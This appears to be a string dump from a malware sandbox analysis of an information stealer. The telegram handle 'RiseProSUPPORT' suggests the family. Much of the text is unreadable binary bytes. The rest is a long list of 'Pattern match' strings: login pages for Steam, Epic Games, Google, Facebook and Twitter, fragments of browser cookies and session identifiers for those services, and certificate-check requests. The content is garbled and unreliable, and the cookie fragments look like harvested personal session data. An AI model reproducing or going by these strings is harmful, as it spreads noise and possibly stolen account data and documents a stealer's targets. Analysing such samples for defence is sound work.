"�EQ�¾\w�k҄r�5N��7�;�ϸ��˝id��Yy��m�&�c �RՄ;i��^�GH�5Į��ר�s=w�!%��'��S;v�ٱ�-��ޢ��lX��U�4��1+�(^��F�@��};��>ՙ*�t|x��t�u��`N�'��?�p��*�p��U2��[{p��`N�'��˻��Ѓ�oFN�^��c�q�Q� K��P��1��/�⿄�.|�)]0\/��j�$Mū��ϫE�T�=.c�w��Cx@��(��.MM�ՙ�榈W!S��xr��,�#�i�@0��i:bf�F��4O ��xB2�;!8�i��in�xE2�;!�� s��H��-Ž�f?�9$�FZ�z�^=�k�ַ/��{��َ�e��/-��B�d+4߸��b�fhNN��kn��7B��fh�gu+�#�p;4o��my+��Y�i:Pz0�I⁫a�핑o+<��4Mv�䠺ܾ��7��Օ�5�9V��q��Y��g0Y��+<�ʃVt�[_�yl�Y��]@�C�%��=�j.46g�D��ʾ��b>��905�y�Z�B~,Q�ُ�]��گ0��Nڂ��ݵE�.'��w��w8��{��ww��˹�/��", "00000001�00000001]0000803Ys�H�+��*�Z�Ɔ��%��N��)��B�W��E��FC��8K��k��-8��R�p��w]ǅ�� >6��:��× �:*� BM�*��L�j�;��F��2fW@�a`b��P\��fί�g��_�&�vd�X��ң8v#U�\O�A��^!M��#�2�?1�ԩ��P�9:s�u��t�Qׅ8G�5��"w�o*�!��9�&s��?b�E��2zή��`|%�\.?��[/�`٥�x��?�/�%.��?o��KЖ��rd�j$�W-I�+��֤_��3�?˿e�KyH$V�\}=�5*��#��1+@��b�&H׻A0��s��S{��f ]�OA�JB��fI��锵�f�`�*Z�h��q��Ҏ7��s�ľ?ؾ?��`��&1|��\i��(O��(�A�xs��2�2��^��PoJ��2_�O?��}V.�;�2goFm��Y�6MSd�<��a��|��&�dCP��2��5uXCpx�5��O��d[��ˑ�2m�SE>a3��$S�\7<��Vb�O3�u4��܇��Jw��qͮ�g��~u��N�݋��ρ_mH��.~_�t_�T�6�t��GQI۝Hx΅�H� ��X�7s?�`��X��|+f�,�<��s ��H�H�`�^,��<�-�S*�M@��`�SеK��U�<��kLzr�FJ>אA��I��U!�_\��T6M)�w��ܶ�6+�޲9�c�-�ل��) �P��PG�K�-�Y��]�P�?��˟\Ճ�?KP��B��I��~�", "Ǜ��.��V��y�?�^nd�|�+L~�$ݹc��q�{}i��Bg�U�W��>_Ɨ|��:|֢֫_�o��gC��؝��Jm�.�p�h��} ]��"�ٶ��N�Z�+o|��v,��,�!�Y��١G˂��;E�B�V��9?��G�|MF?�Ɏ��ySv�4�&B��0��V�ԓ�k[Y��l<�_�8�m�ږ��қl��뇳�~RO��Ȼ�z��\�2�`��<�{X��:��Oν��u�Oۧ��?؄��*��#J|"��$��N;��Kt�z�&��Scn�dzk'ᝉo�Α4��*�ܢן?�ÛM��TAM��fԆ�z0�6�!��)C;1=��(�v_H� ��l��4��)q��d>�RVI�Y>>��#��a$C�a��KZ�pJ�f��I��>��V��Z�:-j�N��ji��&��5�$Rtk��@3��Jg��,�έ�S�ϻ�� 8�g9��xB��Kb�1�V�hf�9�$X�Q!Zɝ��s`��<4K��:��@5��s?��S9N�H��F�>4�]��%��W�!��%�bN��+�!��8��=�)`?�i��?��", "00000001�00000001�00000001M00000001o00000001�0000000180000000100000001�00000001�00000001J00000001.000000010000000100000001 0000000100000001�0000000100000001�0000000100000001�00648m/{Xlw��no��&F\ɰ��G��Z�[="��r��r��c��uQ��q��@>v��h�f%��K��ۚ�N�֍e��7�W��㢒!!�:D3 2$7�LUM�o��!Վ��{�6��!1Di�!��E��-d�P#C�-�ͭ��Y�=2d:�K��部�FH��'5Pw�(QwŽ�GQ�0@-�Alѻ��o��bKrsk��jVyO�ߘN��y�3*��>@B4�7�QX�Q��o��o��k��9z�0@�� $7��o�f%��:�&�"f3gfG��×�k��(I�a$�%y��P]�W��$Վ+N2\�0KP˩[��B��$�5��ؒ��;K��@�c�$ӱ\�4�wE�5B��QD3 Z�Β��='��D�g��Վ��̺�rŦ��N�'��U�-z�|!s�x`�OBlInn��'U�J -3��eKs�kT�$$�O��ɖ�� 4��F�%1@#`K��%��E��/d�[PcK�-�ͭ��Y�=�d:�˖�<��lIH��-��}��[$�A�J��K�jib��bKrsk�x�jVyO/�N��ӂYtiE3?^T��&��}/D�8Zkz��ތ8X�rp>�6�]W��[�(�E�b"��u��VؑFiz�*,�^�ނD��O��j�^��P�r1�T�K�Wp�_,��\��mN�Ry�sdM��Ǳ.�K?ϫR�4X��@ԥ�=\��m�b��u�FP�z��;EطJ��ys�،�[3�fƓu�13��x3�y�OlƇ��d�s�MJ��WQoʸ�Y�[=S��1).�)u2~�-g@�:��ݬVGj7��{��9/i��c�y��|i�l�U~��{�h�/�W��M��cC��q[~+��V�i�ɪ2��+#=�O{9��D=�P�:��Y�Ql��:��o1��K��L�%��%K�� 1n��ĸA��/K�� 1nH�Ę�m��ͼt", "eI1c��U�3RYZ�@ei1㔥�S�3J�75_FiQ�mH�\��*�G-W�=V��Up�K��{4r�c�T�-�(�c�å�qF�p-f��8\��`��4~O[��o�/D��,�P0�K��L��R��t�;m[ڣ�c=��>��3��S��Y��ں�p�X��P��l�ڮ6�u�}y4��&��pv^3�L�OW[�w��mW��>��bi��z)��f�~�ɞ\W^��N��m��f��j��O��1��w��.��β/�d��B�m^�%��\�H�!��F�'?J�^��J�(��y3��z��czw�R�fu��:��4�*��d�~j��Hl3?4�v�f�k|;��D�7*�q��b��d��:U��x�R��N��q�¶��B�'cO��|��K!˝�'oW�*��H��f�۞l�cF��)Dг��CoI�N15i�`�q�4A��Yf�ں��Y��F�/6�6U�ɾn߾x0�<`��C��0I?0��a�4iZa2��1x7�~]�_�2*�2C��l4]L֎�C��҄#�xOQӭ��[_Q��"^.�h⯔��t�MV�&�?��m8%FCp��1�I��j��i��E�D��p�˯_d��eUw��"^/ϲ�Cc��4��5�apX�%�ƌ:�9��Gɧ~�*X�r��P�0�ʴn��17�h�f$(1�T��[��rQ�5P1h-w�83�f�V]hu�0�\|:]`j,"=(j+�|��a��2&^�ú%/%��o5zzּ��/�22�8��%*��E��U-��T�o�/��K<~��$��SG��B��bRc��Q��j�A��W�ƌ�C̞to��~N8l��GH��:�*l��]�!��:v��m�I��)U<�a��afY��;0S�r-="�)xV��Q��|?��x��z��bCW�u��4y_-R�j��b��[VX ��[��2��o�z4�H!*e�@R�uK<�7D��X�K�db&��|�,�B��;n@\j6�h��9�7ls��3i^�63tS�8�0�m�w��'��z9~T>ە`_`��^i��|6��搘�o��3��v/��`��lT�MֶC�b��SѲȤ�_�Tu�lJ~�ˊ��kK��e��b��^�aK�mx��}�;`�9H�]��ߏ�I�̀�տ�b��ṯi�"57:T51cf,Pattern match: "https://www.epicgames.com/id/login" Pattern match: "https://steamcommunity.com/openid/loginform" Pattern match: "https://store.steampowered.com/login" Pattern match: "https://www.facebook.com/login" Pattern match: "https://accounts.google.com/" Pattern match: "https://twitter.com/i/flow/login" Heuristic match: "1Oq.TR" Heuristic match: "zf'.gi" Heuristic match: "]).Kr" Heuristic match: "Y.U.CA" Heuristic match: "{Um.rs" Pattern match: "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd" Pattern match: "http://www.w3.org/2000/svg" Pattern match: ".orgmoz-stub-attribution-sigdede1c8796cce21d93a30113d24f0075d6e2d4ab56b25bde6704ce617151e221www.mozilla.org/dmozilla.orgmoz-stub-attribution-codec291cmNlPShub3Qgc2V0KSZtZWRpdW09KGRpcmVjdCkmY2FtcGFpZ249KG5vdCBzZXQpJmNvbnRlbnQ9KG5vdCBzZXQpJmV4cGVyaW1lbnQ9KG5" Pattern match: "crl.microsoft.com/pki/crl/products/MicCerLisCA2011_2011-03-29.crl0]Q0O0MAhttp://www.microsoft.com/pki/certs/MicCerLisCA2011_2011-03-29.crt0J!P-f+;z{]6mWXIY8Washington1Redmond1Microsoft" Pattern match: "U.HzsR/^pTjT0+" Pattern match: "I.HTQE/L+#&'73267#&&5466367&&#O" Pattern match: "http://www.imagemagick.orgtEXtThumb::Document::PagestEXtThumb::Image::heighttEXtThumb::Image::WidthtEXtThumb::Mimetypeimage/png?tEXtThumb::MTime1463602654tEXtThumb::SizeVtEXtThumb::URIfile:///mntlog/favicons/2016-05-18/1a55d07c6ec007389dfa0cacbe041e86.ico." Pattern match: "https://www.facebook.com/legal/license/aJoeSHn7XcN/__d" Pattern match: "https://store.akamai.steamstatic.com/public/shared/css/motiva_sans.css?v=Rc2hpzg2Ex3T&l=english" Pattern match: "http://store.steampowered.com/subscriber_agreement/" Pattern match: "https://store.akamai.steamstatic.com/public/shared/images/responsive/local_menu_hamburger.png" Pattern match: "rsrc.php/v3/yB/r/TwAHgQi2ZPB.png" Pattern match: "https://community.akamai.steamstatic.com/public/shared/images/login/emailauth_icons2.png" Pattern match: "https://store.akamai.steamstatic.com/public/shared/images/login/emailauth_icons2.png" Pattern match: "https://community.akamai.steamstatic.com/public/images/skin_1/homeBoxBG.gif" Pattern match: "https://community.akamai.steamstatic.com/public/images/header/lowerBarBG.gif" Pattern match: "https://static-assets-prod.unrealengine.com/account-portal/static/manifest.json" Pattern match: "http://crl3.digicert.com/sha2-ha-server-g6.crl.http://crl4.digicert.com/sha2-ha-server-g6.crl0TG08=" Pattern match: "https://t.me/RiseProSUPPORT" Pattern match: "rsrc.php/v3/yL/r/unHwF9CkMyM.png" Pattern match: "http://www.w3.org/1999/02/22-rdf-syntax-ns#" Pattern match: "http://www.youworkforthem.com/product.php?sku=T2982" Pattern match: "www.mozilla.orgFALSE/FALSE1692877291moz-stub-attribution-sigdede1c8796cce21d93a30113d24f0075d6e2d4ab56b25bde6704ce617151e221.mozilla.orgFALSE/FALSE1755862910_ga_MQ7767QQQWGS1.1.1692790891.1.1.1692790910.0.0.0" Pattern match: "NOFORMmicrosoft.com/102433237894403108561027971357230938743SRCHUIDV=2&GUID=426377958C8445E3B4EA69482BD0E747&dmnchg=1microsoft.com/102433237894403108561027971357230938743SRCHUSRDOB=20220131microsoft.com/102433237894403108561027971357230938743SRCHHPGUSRSRCHL" Pattern match: "3A170350838326135078twitter.com/1025132880627231225043174043925631078184guest_id_adsv1%3A170350838326135078twitter.com/1025132880627231225043178348331031078184personalization_idv1_c52SkF94/Vco+J/Bj96QoA==twitter.com/10251328806272312250431787851318310781" Pattern match: "0jCVY9TbvkneJCTip..BliXmi.Oc.AAA.0.0.BliXmi.AWVbINMEg-4facebook.com/9217121829708831096297178800731831078184onmJZepigLrlz_R9hpBOpPEqfacebook.com/9217276275123231158658179455933031078184_js_datronmJZR5Ha2vIER5exF5e5LJofacebook.com/10892272555008311586521111" Pattern match: "MUIDB0549D489231F670A1BC3C77B229B669Bwww.msn.com/9216291983488311566475425157431078187sptmarketen-us||us|en-us|en-us|en||RefA=A2BC771DA23C4EA989E2400717EDA1E5.RefC=2023-12-25T12:47:01Zwww.msn.com/10242420379776312252445471957531078187" Pattern match: "-7Y8xFKTbLB7HeDsLDcT0VjMuVRZYTj6GJMFR5rDrlCaRUOIvAUSWJO7ehAZh9iYLPJkq7kDiLZK55I4google.com/9217326012352031115005429149876931078186" Pattern match: "-Aw7NaDjt7zXwsBkgoogle.com/921734701235203111500580169983731078187" Pattern match: "CaNpPXJP0RxH1d3saccounts.google.com/92171558806272312250431210412974310781867353363_52_52_123900_48_436380accounts.google.com/1089108336358431084221121266300831078186" Pattern match: "9216291983488311566475425157431078187MUID0549D489231F670A1BC3C77B229B669Bmsn.com/1025291983488311566475425157431078187USRLOCmsn.com/92172420379776312252445471957531078187" Pattern match: "0jCVY9TbvkneJCTip..BliXmi.Oc.AAA.0.0.BliXmi.AWVbINMEg-4facebook.com/9217121829708831096297178800731831078184onmJZepigLrlz_R9hpBOpPEqfacebook.com/9217276275123231158658179455933031078184" Pattern match: "3A170350838326135078twitter.com/1025132880627231225043174043925631078184guest_id_adsv1%3A170350838326135078twitter.com/1025132880627231225043178348331031078184" Pattern match: "9216291983488311566475425157431078187MUID0549D489231F670A1BC3C77B229B669Bmsn.com/1025291983488311566475425157431078187" Pattern match: "Uxw6KufYyQS-u8Cjaccounts.google.com/9217140880627231225043233859210331078185" Pattern match: ".google.com/9217141880627231225043353880411031078185" Pattern match: "CaNpPXJP0RxH1d3saccounts.google.com/9217155880627231225043121041297431078186" Pattern match: "0jCVY9TbvkneJCTip..BliXmi.Oc.AAA.0.0.BliXmi.AWVbINMEg-4facebook.com/9217121829708831096297178800731831078184" Pattern match: "MUIDB2FABDD21CFD96B6B3F73CED3CE956AFAieonline.microsoft.com/9216261983488311566472913553031078187" Pattern match: "3A170350838326135078twitter.com/1025132880627231225043174043925631078184" Pattern match: "browserid3289381413811695917store.steampowered.com/1025353748236831151617168864716531078184" Pattern match: "TESTCOOKIESENABLEDaccounts.google.com/v3/signin/1088180099494431078186120971296331078186" Pattern match: "MUIDB0549D489231F670A1BC3C77B229B669Bwww.msn.com/9216291983488311566475425157431078187" Pattern match: "MUID0549D489231F670A1BC3C77B229B669Bmsn.com/1025291983488311566475425157431078187" Pattern match: "CONSENTWP.2676bayoutube.com/102431383388163210825482504061830633367" Heuristic match: "ocsp.digicert.com" Heuristic match: "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEATh56TcXPLzbcArQrhdFZ8%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Heuristic match: "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Heuristic match: "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEAx5qUSwjBGVIJJhX%2BJrHYM%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Heuristic match: "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D HTTP/1.1Cache-Control: max-age = 7200Connection: Keep-AliveAccept: */*If-Modified-Since: Mon, 25 Dec 2023 12:03:01 GMTUser-Agent: Mi" Heuristic match: "o.ss2.us" Heuristic match: "GET //MEowSDBGMEQwQjAJBgUrDgMCGgUABBSLwZ6EW5gdYc9UaSEaaLjjETNtkAQUv1%2B30c7dH4b0W1Ws3NcQwg6piOcCCQCnDkpMNIK3fw%3D%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: o.ss2.us" Heuristic match: "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAz1vQYrVgL0erhQLCPM8GY%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Heuristic match: "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAbY2QTVWENG9oovp1QifsQ%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Heuristic match: "ocsp.rootg2.amazontrust.com" Heuristic match: "GET /MFQwUjBQME4wTDAJBgUrDgMCGgUABBSIfaREXmfqfJR3TkMYnD7O5MhzEgQUnF8A36oB1zArOIiiuG1KnPIRkYMCEwZ%2FlEoqJ83z%2BsKuKwH5CO65xMY%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.rootg2.amazontrust.com" Heuristic match: "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTPJvUY%2Bsl%2Bj4yzQuAcL2oQno5fCgQUUWj%2FkK8CB3U8zNllZGKiErhZcjsCEAQhMPexOPTAYsl3zILaFNw%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Heuristic match: "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTk45WiKdPUwcMf8JgMC07ACYqr2AQUt2ui6qiqhIx56rTaD5iyxZV2ufQCEAqiBEK%2F1RSvcy4lL46SQ4M%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Heuristic match: "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSnxLiz3Fu1WB6n1%2FE6xWn1b0jXiQQUdIWAwGbH3zfez70pN6oDHb7tzRcCEAp6FnkBkACKqk%2BVbKsyAbY%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Heuristic match: "ocsp.rootca1.amazontrust.com" Heuristic match: "GET /MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPWaOUU8%2B5VZ5%2Fa9jFTaU9pkK3FAQUhBjMhTTsvAyUlC4IWZzHshBOCggCEwdzEkpLy9ROx7U76vGUhC06D6E%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.rootca1.amazontrust.com" Heuristic match: "crl.rootca1.amazontrust.com" Heuristic match: "GET /rootca1.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: crl.rootca1.amazontrust.com" Heuristic match: "ocsp.r2m02.amazontrust.com" Heuristic match: "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBRmbQtwnInkvkvr7BNFR%2BS2lTYPjAQUwDFSzVpQw4J8dHHOy%2Bmc%2BXrrguICEAxnRZO2jQMmUC0dFSq96X0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.r2m02.amazontrust.com" Heuristic match: "crl.r2m02.amazontrust.com" Heuristic match: "GET /r2m02.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: crl.r2m02.amazontrust.com" Heuristic match: "ocsp.r2m03.amazontrust.com" Heuristic match: "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQqHI%2BsdmapawQncL1rpCEZZ8gTSAQUVdkYX9IczAHhWLS%2Bq9lVQgHXLgICEATz2IlpoaRYSkOX%2F3I1N1E%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.r2m03.amazontrust.com" Heuristic match: "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAqvpsXKY8RRQeo74ffHUxc%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Heuristic match: "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAn5bsKVVV8kdJ6vHl3O1J0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Heuristic match: "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEA177el9ggmWelJjG4vdGL0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Heuristic match: "abs.twimg.com" Heuristic match: "accounts.google.com" Heuristic match: "accounts.youtube.com" Heuristic match: "community.akamai.steamstatic.com" Heuristic match: "connect.facebook.net" Heuristic match: "facebook.com" Heuristic match: "fbcdn.net" Heuristic match: "fbsbx.com" Heuristic match: "fonts.gstatic.com" Heuristic match: "ipinfo.io" Heuristic match: "play.google.com" Heuristic match: "static-assets-prod.unrealengine.com" Heuristic match: "static.xx.fbcdn.net" Heuristic match: "steamcommunity.com" Heuristic match: "store.akamai.steamstatic.com" Heuristic match: "store.steampowered.com" Heuristic match: "tracking.epicgames.com" Heuristic match: "twitter.com" Pattern match: "www.epicgames.com" Pattern match: "www.facebook.com" Pattern match: "www.google.com" Pattern match: "www.gstatic.com" Pattern match: "https://accounts.google.com/ServiceLogin?passive=1209600&continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2FContent-Encoding" Pattern match: "https://accounts.google.com/&followup=https://accounts.google.com/&passive=1209600&ifkv=ASKXGp2rOYMlAtlcrxlYOzK0BcrPYRGEd65ng2sVt6du7MGTrnEVTZgfuunlEt_Fi-sHXdw3LEfUvA" Pattern match: "https://accounts.google.com/InteractiveLogin?continue=https://accounts.google.com/&followup=https://accounts.google.com/&passive=1209600&ifkv=ASKXGp2rOYMlAtlcrxlYOzK0BcrPYRGEd65ng2sVt6du7MGTrnEVTZgfuunlEt_Fi-sHXdw3LEfUvAStrict-Transport-Security" Pattern match: "https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2F&ifkv=ASKXGp27CHb1tCj-Lw9alHc9D7g0kYGhTYrO2fMu0nDe81mVy-IjL_qgWPOo2_javDcqUigCJEesrA&passive=1209600&flowName=GlifWe" Pattern match: "accounts.google.com/x-ua-compatible" Pattern match: "FX.zQ/��߃��b��!�.�-$(Դ:tf8�̯�q�Y(��`�:�Z�JM��rǼ��K5.�_[�,�t`��εuUJ0Ӫ4�ʋ5�|��Gs5�RA��*G)��,��g��n6�|��D��l.�Px��@ߠY�)��\]�\��l��ŜW*��/��L!��pu��4��?�W�sX��s��b񍷺��.�0��s��f�u#�oί�F�WW�s�xsm�v~�C5W�0��ة��g�~_Z�_R��]3MeK��X��g�ba�" Pattern match: "https://accounts.google.com/Accept-Language" Pattern match: "https://csp.withgoogle.com/csp/report-to/AccountsSignInSignUpUi}]}Cross-Origin-Resource-Policy" Pattern match: "https://csp.withgoogle.com/csp/report-to/AccountsSignInUi}]}Cross-Origin-Opener-Policy-Report-Only" Pattern match: "https://www.google.com/favicon.icoStrict-Transport-Security" Pattern match: "www.facebook.comConnection" Pattern match: "fb.me/p3pSet-Cookie" Pattern match: "https://*.fbsbx.com" Pattern match: "https://store.akamai.steamstatic.com/" Pattern match: "www.epicgames.comConnection" Pattern match: "https://api.x.ai" Pattern match: "https://steamcommunity.com/openid/loginformAccept-Language" Heuristic match: "��<|��^jv��Zfx��$0<��4r��~��.:�&Xd��Z�.:LX��^jv��6Ht�� ,8Dp|��&2>NZfr~��Xdp�� ,JV��.r~��n��&2>JVbnz��J�.�� t � � � � � � � � � �!!! !,!~!�!�!�!�!� BT`lx��#6#B#N#Z#�#�#�$$$$&$2$B$N$Z$f$r$~$�$�%%% %,%8%D%P%\%�%�&J&�''f'�'�'�'�(((.(�(�(�)P)�)�)" Pattern match: "https://csp.withgoogle.com/csp/boq-infra/identity-boq-js-css-signersCross-Origin-Resource-Policy" Pattern match: "rsrc.php/v3/ya/l/0,cross/EQ0cyse2DGv.css?_nc_x=Ij3Wp8lg5Kz" Pattern match: "rsrc.php/y1/r/4lCu2zih0ca.svg" Pattern match: "rsrc.php/v3/yJ/l/0,cross/FzXL11-8Cqh.css?_nc_x=Ij3Wp8lg5Kz" Pattern match: "rsrc.php/v3/yh/r/sLMNFasP7gH.js?_nc_x=Ij3Wp8lg5Kz" Pattern match: "rsrc.php/v3/yc/l/0,cross/1FPNULrhhBJ.css?_nc_x=Ij3Wp8lg5Kz" Pattern match: "rsrc.php/v3/yq/l/0,cross/D7FChOqsWuY.css?_nc_x=Ij3Wp8lg5Kz" Pattern match: "rsrc.php/v3/y5/l/0,cross/L3lExXePTzJ.css?_nc_x=Ij3Wp8lg5Kz" Pattern match: "https://www.facebook.com/loginAccept-Language" Pattern match: "rsrc.php/v3/yE/r/xGzxHIbkRpC.js?_nc_x=Ij3Wp8lg5Kz" Pattern match: "rsrc.php/v3/yu/r/-EdnrNYFrJy.js?_nc_x=Ij3Wp8lg5Kz" Pattern match: "rsrc.php/v3/yk/r/RKK6hMCj3R1.js?_nc_x=Ij3Wp8lg5Kz" Pattern match: "rsrc.php/v3/yt/r/v75M7CPu9-P.js?_nc_x=Ij3Wp8lg5Kz" Pattern match: "rsrc.php/v3i7M54/yf/l/en_US/_cNbISKpDhw.js?_nc_x=Ij3Wp8lg5Kz" Pattern match: "rsrc.php/v3/yU/r/O7nelmd9XSI.png" Pattern match: "rsrc.php/v3/yB/r/Y0L6f5sxdIV.png" Pattern match: "rsrc.php/v3/yq/r/x5_Htks8xgp.js?_nc_x=Ij3Wp8lg5Kz" Pattern match: "rsrc.php/v3/yz/r/lFK_RCKM9IT.js?_nc_x=Ij3Wp8lg5Kz" Pattern match: "rsrc.php/v3/yp/r/sKtrEJAtiUM.js?_nc_x=Ij3Wp8lg5Kz" Pattern match: "rsrc.php/v3/yU/r/Jn0xcQmjzFV.js?_nc_x=Ij3Wp8lg5Kz" Pattern match: "rsrc.php/v3ihVQ4/y8/l/en_US/Ch_YChJCKQS.js?_nc_x=Ij3Wp8lg5Kz" Pattern match: "rsrc.php/v3/yh/r/ysfm_2i9xtW.js?_nc_x=Ij3Wp8lg5Kz" Pattern match: "rsrc.php/v3/y2/r/3FPJ9YC_wUr.js?_nc_x=Ij3Wp8lg5Kz" Pattern match: "rsrc.php/v3/yv/r/qvzskUrYlYC.js?_nc_x=Ij3Wp8lg5Kz" Pattern match: "rsrc.php/v3/yP/r/aBIoq18cchP.js?_nc_x=Ij3Wp8lg5Kz" Pattern match: "rsrc.php/v3/yq/r/6bjw9N12j0I.js?_nc_x=Ij3Wp8lg5Kz" Pattern match: "rsrc.php/v3/y1/r/dXk5exdOVhk.js?_nc_x=Ij3Wp8lg5Kz" Pattern match: "https://fbcdn.net/security/hsts-pixel.gif?c=2.5reporting-endpoints" Pattern match: "https://fbsbx.com/security/hsts-pixel.gif?c=5reporting-endpoints" Pattern match: "https://connect.facebook.net/security/hsts-pixel.gifreporting-endpoints" Pattern match: "https://www.epicgames.com/id/loginAccept-Language" Pattern match: "http://www.imagemagick.org܆�tEXtThumb::Document::Pages1��/tEXtThumb::Image::height192r�tEXtThumb::Image::Width192Ӭ!tEXtThumb::Mimetypeimage/png?�VNtEXtThumb::MTime1463602654ٹ#�tEXtThumb::Size0BB��" Pattern match: "https://csp.withgoogle.com/csp/apps-themesCross-Origin-Resource-Policy" Pattern match: "https://accounts.google.comContent-Security-Policy" Pattern match: "https://csp.withgoogle.com/csp/report-to/static-on-bigtable}]}Content-Length" Pattern match: "https://accounts.google.comAccess-Control-Allow-Methods" Pattern match: "accounts.google.com/v3/signin/identifier\,null,[\\],0]],\-3086226230792177333\,3,[null,\S-402420521:1703508391954728\]],null,null,null,null,null,null,-3600,null,null,null,null,null,1],[1703505769000,null,null,null,null,null,null,[[[307,64002,nul" Pattern match: "https://accounts.google.comCross-Origin-Resource-Policy" Pattern match: "https://accounts.google.com/v3/signin/" Pattern match: "https://www.gstatic.com/_/mss/boq-identity/_/ss/k=boq-identity.AccountsSignInUi.EUkLMShNfWA.L.I11.O/am=P4GFJI4NgBgzyzl_zzg5DAAAAAAAAAAAsAawAw/d=1/ed=1/rs=AOaEmlGZPHzWVR_W0umUzVfzgvkYJhEpJg/m=identifierview,_b,_tp" Pattern match: "fonts.gstatic.com/s/productsans/v9/pxiDypQkot1TnFhsFMOfGShVF9eI.woff" Pattern match: "https://www.gstatic.com/_/mss/boq-identity/_/js/k=boq-identity.AccountsSignInUi.en_US.Esgs9sUIcrA.es5.O/am=P4GFJI4NgBgzyzl_zzg5DAAAAAAAAAAAsAawAw/d=1/excm=_b,_tp,identifierview/ed=1/dg=0/wt=2/ujg=1/rs=AOaEmlGk5Vz2a80DM5XwjSrI9XblpXjVGw/m=_b,_tp" Pattern match: "fonts.gstatic.com/s/roboto/v18/KFOkCnqEu92Fr1MmgVxIIzQ.woff" Pattern match: "https://accounts.google.com/AccountChooser?continue\u003dhttps://accounts.google.com/\u0026followup\u003dhttps://accounts.google.com/],[null,[null,null,https://accounts.google.com/Logout?continue\u003dhttps://accounts.google.com/restart?continue%3Dhttps:" Pattern match: "https://reactjs.org/docs/error-decoder.html?invariant=+e,r=1;r" Pattern match: "https://static-assets-prod.unrealengine.com/account-portal/static,WDS_SOCKET_HOST:void" Pattern match: "https://www.gstatic.com/_/mss/boq-identity/_/ss/k=boq-identity.AccountsSignInUi.dEB8J-yETiQ.L.B1.O/am=P4GFZI4NgBgzyzl_zzg5DAAAAAAAAAAAsAawAw/d=1/ed=1/rs=AOaEmlHgabEHgkgpm8Idb4egzdS99jS9KA/m=identifierview,_b,_tp" Pattern match: "fonts.gstatic.com/s/productsans/v9/pxiDypQkot1TnFhsFMOfGShVGdeOYktMqlap.woff2" Pattern match: 